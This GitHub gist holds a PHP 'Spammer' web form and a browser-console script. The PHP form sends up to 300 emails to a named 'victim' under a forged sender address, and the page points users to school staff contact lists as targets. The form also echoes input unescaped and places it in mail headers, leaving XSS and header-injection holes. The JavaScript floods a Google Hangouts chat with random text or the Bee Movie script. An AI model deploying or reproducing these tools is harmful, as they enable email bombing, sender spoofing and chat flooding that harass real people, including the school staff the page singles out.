Skip to content

Instantly share code, notes, and snippets.

@SheepTester
Last active May 10, 2017 00:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SheepTester/b0515779168a309d2664b909ac219dca to your computer and use it in GitHub Desktop.
Save SheepTester/b0515779168a309d2664b909ac219dca to your computer and use it in GitHub Desktop.
Spammer
<?php
/*$to="1482717770qq@gmail.com";
$sub="test";
$body="Not-Axolotl speaking here...";
$fro="From: axolotlbooks.co@gmail.com";
if (mail($to,$sub,$body,$fro)) {
echo "sent...trololol";
} else {
echo "lololol you failed mate";
}*/
if ($_POST["submit"]) {
if (!$_POST["to"]) {
$fail.="<br/>providing a victim's email";
} elseif (!filter_var($_POST["to"], FILTER_VALIDATE_EMAIL)) {
$fail.="<br/>spelling the victim's email properly";
}
if (!$_POST["fro"]) {
$fail.="<br/>providing a fake email";
} elseif (!filter_var($_POST["fro"], FILTER_VALIDATE_EMAIL)) {
$fail.="<br/>knowing what emails look like";
}
if (!$_POST["times"]) {
$fail.="<br/>typing a number";
} elseif ($_POST["times"]<1) {
$fail.="<br/>acknowledging the fact that you can't send an email ".$_POST["times"]." times";
} elseif ($_POST["times"]>300) {
$fail.="<br/>acknowledging the fact that sending an email ".$_POST["times"]." times is quite a lot";
}
if ($fail) {
$result="<p class='bad'><strong>You failed at:</strong>".$fail."</p>";
} else {
$headers="From: ".$_POST["fro"];
if (isset($_POST["htm"])) $headers.="\r\n"."Content-type:text/html;charset=UTF-8";
mail($_POST["to"],$_POST["sub"],$_POST["body"],$headers);
if ($_POST["sub"]) {
$sub=$_POST["sub"]." - Revision ";
} else {
$sub="#";
}
for ($x=1;$x<$_POST["times"];$x++) {
$success=mail($_POST["to"],$sub.$x,$_POST["body"],"From: ".$_POST["fro"]);
}
if (isset($_POST["htm"])) $formatedashtml="yes";
else $formatedashtml="no.";
$mess="Sender email: ".$_POST["fro"]."
Victim email: ".$_POST["to"]."
Formatted as HTML: ".$formatedashtml."
Subject: ".$_POST["sub"]."
Content:
".$_POST["body"]."
Times: ".$_POST["times"];
if ($success) {
$result="<p><strong>Spam successful!</strong></p>";
$_POST = array();
} else {
$result="<p class='bad'><strong><em>Someone</em> has been spamming a little <em>too</em> much... (*cough* *cough*)</strong>".$fail."</p>";
}
}
}
?>
<!doctype html>
<html>
<head>
<title>Spammer</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style>
body {
font-family: monospace;
}
input, textarea, select, button {
font-size: inherit;
font-family: inherit;
border: 1px solid #ccc;
width: 200px;
}
:focus {
outline: none;
border-color: blue;
}
textarea {
height: 200px;
}
::selection {
background: rgba(0, 188, 212, 0.4);
}
.bad {
color: red;
}
input[type=checkbox] {
width: initial;
}
</style>
</head>
<body>
<h1>Spam someone!</h1>
<p class="lead">No one is responsible for the spam.</p>
<p>Staff members' emails for <a href="http://jls.pausd.org/default/index.cfm/contact/all-staff1/">JLS</a> and <a href="http://jordan.pausd.org/contact-staff">Jordan</a>.</p>
<?php echo $result; ?>
<form method="post">
<label for="fro">The email that is sending the spam (you can make one up, it's not illegal according to Google):</label>
<input name="fro" value="<?php echo $_POST['fro']; ?>" type="email" placeholder="Click here before typing" class="form-control"/>
<br/>
<label for="to">Who to spam (make sure they exist):</label>
<input name="to" value="<?php echo $_POST['to']; ?>" type="text" placeholder="Click here before typing" class="form-control"/>
<br/>
<label for="sub">Subject of the emails? (a number will be added to the end of the subject):</label>
<input name="sub" value="<?php echo $_POST['sub']; ?>" type="text" placeholder="Click here before typing"/>
<br/>
<label for="body">What do you want the emails to have? (it can be empty, but it's nicer to have a message):</label><br>
<textarea name="body" placeholder="Click here before typing" class="form-control"><?php echo $_POST['body']; ?></textarea><br>
<input name="htm" <?php if (isset($_POST['htm'])) echo "checked"; ?> type="checkbox"/> Render as HTML
<br/>
<label for="times">How many emails do you want to send?</label>
<input name="times" value="<?php if ($_POST['times']) {echo $_POST['times'];} else {echo 1;} ?>" type="number" min="1" max="300" placeholder="Click here before typing"/>
<br/>
<input type="submit" name="submit" value="ok done here you go"/>
</form>
<script>
document.querySelector("input[name=htm]").onchange=e=>{
if (document.querySelector("input[name=htm]").checked&&!document.querySelector("textarea[name=body]").value) {
document.querySelector("textarea[name=body]").value=`<!DOCTYPE html>
<html>
<head>
</head>
<body>
</body>
</html>`;
}
};
</script>
</body>
</html>
/*
HOW TO USE
1) right click on the hangouts frame (like someone's speech bubble or something)
2) select inspect element
3) go to console
4) paste this code in (NOTE: YOU SHOULD NEVER BE DOING THIS)
5) press enter
6) go to the hangouts frame and lock enter while focused on the input field
*/
var beemovie, // variable for storing bee movie script
wordindex=0, // word that we are on in the bee movie
timeoutId, // variable for storing timeout id
div=document.querySelector('div[g_editable="true"]'); // store "location" of the box where you type
div.onkeydown=e=>{ // when someone types something
if (!timeoutId) timeoutId=setTimeout(_=>{ // settimeout returns an ID that I store
div.innerHTML=(stringlength=>{ // set the input to
if (beemovie) {
wordindex++; // next word
if (wordindex>beemovie.length) wordindex=1; // loop back to beginning when done
return beemovie[beemovie.length-wordindex]; // going backwards just because
} else { // if bee movie hasn't been loaded yet
var s='';
for (var i=0;i<stringlength;i++) s+=String.fromCharCode(Math.floor(Math.random()*95+32)); // add random character to string
return s;
}
})(Math.floor(Math.random()*6+4)); // length of string is 4-9
timeoutId=null;
},1000); // send smth every 1000ms to lessen load on Google's servers
};
var xmlHttp=new XMLHttpRequest();
xmlHttp.onreadystatechange=function(){
if (xmlHttp.readyState===4) {
if (xmlHttp.status===200) beemovie=xmlHttp.responseText.split(' '); // split into a list of words
}
};
xmlHttp.open("GET",'https://gist.githubusercontent.com/The5heepDev/a15539b297a7862af4f12ce07fee6bb7/raw/entire_bee_movie_script',true); // get bee movie script
xmlHttp.send(null);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment